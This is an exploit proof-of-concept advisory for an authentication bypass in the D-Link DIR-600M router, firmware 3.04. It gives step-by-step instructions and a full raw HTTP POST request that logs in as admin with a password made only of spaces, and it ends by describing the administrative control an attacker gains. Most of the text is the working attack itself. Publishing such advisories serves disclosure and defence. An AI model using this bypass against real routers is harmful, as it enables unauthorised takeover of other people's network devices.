D-Link DIR-600M - Authentication Bypass (POC)

2017.05.25
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Exploit Title: D-Link Wireless N 150 Login Page Bypass # Date: 19-05-2017 # Software Link: http://www.dlink.co.in/products/?pid=DIR-600M # Exploit Author: Mohammad peywasteh # Vendor : www.dlink.com # Contact : http://t.me/kambod # Version: Hardware version: C1 # Firmware version: 3.04 # Tested on:All Platforms IN MY CASE, Router IP : http://192.168.0.1 Proof of Concept Step 1: Go to Router Login Page : http://192.168.0.1/login.htm Step 2: Fill username: admin And in Password Fill more than 20 tims Spaces(" ") Our Request Is look like below. -----------------ATTACKER REQUEST----------------------------------- POST /login.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/login.htm Cookie: SessionID= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 84 username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send --------------------END here------------------------ Bingooo You got admin Access on router. Now you can download/upload settiing, Change setting etc.

References:

http://cxsecurity.com/issue/WLB-2017050143


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